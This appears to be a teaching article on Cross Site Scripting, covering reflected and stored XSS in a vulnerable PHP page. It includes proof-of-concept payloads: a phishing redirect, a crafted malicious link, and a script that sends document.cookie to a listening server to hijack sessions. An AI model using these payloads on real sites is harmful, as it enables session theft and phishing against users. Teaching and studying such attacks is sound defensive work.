Cross Site Scripting
Cross Site Scripting (XSS) is an attack where a malicious attacker injects executable code (often JavaScript) into another user's browser.
Rather than target the victim, the attack exploits a vulnerability in the website that is visited, using this to deliver the malicious JavaScript (JS). To the victim, the JS appears to be a legitimate part of the website, and therefore should be executed without the site owner's (or victim's) knowledge.
How it works
Malicious JS is injected into one of the pages on a website, which implies that the site will accept (and include) user input in its pages. Again this goes back to Rule #1 of Web Development (don't trust user input).
If the page performs inadequate sanitation on the input, the data inserted by the attacker will be executed by the victim's browser.
As an example, consider the following PHP page, that relays data input in a form:
<html>
<?php
echo "<p>Form input was ".$_GET["input"]."</p>"
?>
</html>The code assumes that the user will only input text. So if the user
input was Hello world the output would be:
<html>
<p>Form input was Hello World</p>
</html>However, if the user input contains JavaScript such as
<script>alert();</script> the output becomes:
<html>
<p>Form input was <script>alert()</script></p>
</html>When the Page is loaded by the browser the code contained between the script tags will execute.
So what can the Bad Guys do with it?
- Session Jacking
- Key Logging
- Phishing
- All sorts of other fun
While executing JS in someone else's browser may not seem that bad (for example, it is hard to get hold of files on the remote system using JS) there are other options that can take place outside of the browser.
- JS may have access to Cookie Data
- JS can send HTTP requests to other parts of the web
- JS can modify the HTML of the current page using the DOM
Again, while these may not directly lead to loss of data, it is possible to steal credentials (then log in as another user) to escalate the attack.
Types of XSS
LD comment: This could be another step?
There are three main types of XSS: reflected, stored and DOM (Document Object Model) manipulation. We will focus on the Reflected and Stored versions, as the DOM based approach can be seen as an extension of them.
Reflected
Traditionally thought of as the 'least dangerous' of XSS style attacks, here the malicious code is part of the victim's request to the website. While thought of as 'less dangerous', that is not always the case.
Inputs to databases are often sanitised, meaning it can be harder to get a stored XSS attack past the defences.
On the other hand, reflected attacks will tend to crop up in debugging/user information, and are only visible to the user who sent the request. This means that to perform a successful reflected XSS we would need some social engineering to get the victim to follow the link, but the potential impact is still high.
Stored XSS
In this case the malicious code is stored on the website server itself. Consider the a simple message board, where posts are not sanitised. If the user submits a message containing malicious JS, this will be executed for every user who visits the page.
Overall this is a more dangerous style of attack, as it can target a wide range of users without us having to put in much effort. However, it is 'rarer' in the wild, mostly because people are paying more attention to the dangers of XSS here.
Examples of XSS
LD comment: This could also be another step?
Window Redirection
JavaScript allows us to update the page that is displayed. For a Phishing style attack we can redirect the current page to elsewhere (for example, a page that looks much like the login page). This may enable us to seize user credentials.
This would use the payload: LD comment: 'payload'?
<script>window.location="http://127.0.0.1:8000/</script>Consider the XSS Example from before. We know the form takes a GET request , then echoes it's value back to the user. Consider what would happen if we could trick the user into clicking the following URL.
../reflected_xss_get.php/?forminput=<script>alert("Pwnd");</script>
For even more fun consider the following, sent as part of an email or IM:
http://172.18.0.1/reflected_xss_get.php/?forminput=<script>alert("Pwnd");</script>
Which displays as A Nice Safe Link
Thus (with a bit of luck) we can get code to be displayed on the Victim's machine through a URL.
Session Jacking
Attackers can also use XSS to attempt to steal another users credentials.
Most sites make use of cookies to keep track of users. Cookies are a unique identifier linking a user to a session on the server. This allows us to keep track of which authenticated user is requesting information from the server.
However, there is a problem with this approach, as the cookie itself is used to identify you. If you can obtain the identifying cookie for a user, then you are that user as far as the server is concerned.
We can use JavaScript to get cookie information by requesting the document.cookie as part of the script.
You can see this in a web browser, most modern browsers (Firefox, Chrome and Edge) have a "Developer / Console Mode", you can find this by right clicking and looking for "Inspect Element". You can then type JavaScript into the console, and see the live result.
For example we can see the Cookie for a GitHub page, in the Image below.
Taking this one step further we can use XSS to display an alert box showing the session cookie. For example
<script>alert("Your session cookie is "+document.cookie);</script>
This may not always be possible, the HttpOnly flag can be set on a cookie, that instructs the browsers that the cookie should not be accessible via JavaScript.
While we like to deride Microsoft and the security of Internet Explorer, the HttpOnly flag was their idea, and was first introduced in IE6.
However, with the exception of Microsoft!, browser support for this is still patchy, and there are a few workarounds in the wild. For an interesting discussion see: https://www.owasp.org/index.php/HttpOnly#Browsers_Supporting_HTTPOnly
So if the website is not setup correctly, we can make use of JavaScript to access a user's cookie. For this proof of concept attack to work we need two components.
- Some way of retrieving the captured cookie.
- A piece of JavaScript that will grab the users session cookie
The first stage is reliably easy. If we have a publicly accessible web server, we can request a page from this and include the session cookie. The page request including the cookie value will show up in the Logs for the server.
For the second task we need some way of making a web request; the traditional method it to insert a image into the page, and append the cookie to the image URL. The following JavaScript will:
- Ask the server at
127.0.0.1for theevil.jpgimage - Append the cookie as a parameter to the request.
<script>
new Image().src="http://127.0.0.1:8000/evil.jpg?output="+document.cookie;
</script>
The image below shows the result of this. The right hand window is a HTTP web server listening for the connection. You can see that the cookie has been included as part of the Web request.
We can now modify our own cookie, using the information that has been sent across and become a different user.
Summary
In this article we have looked at Cross Site Scripting (XSS), and introduced some of the ways that hackers can use XSS to manipulate how web page behaves. In the Lab session we will have a demonstration of XSS, and use it to steal each other's credentials.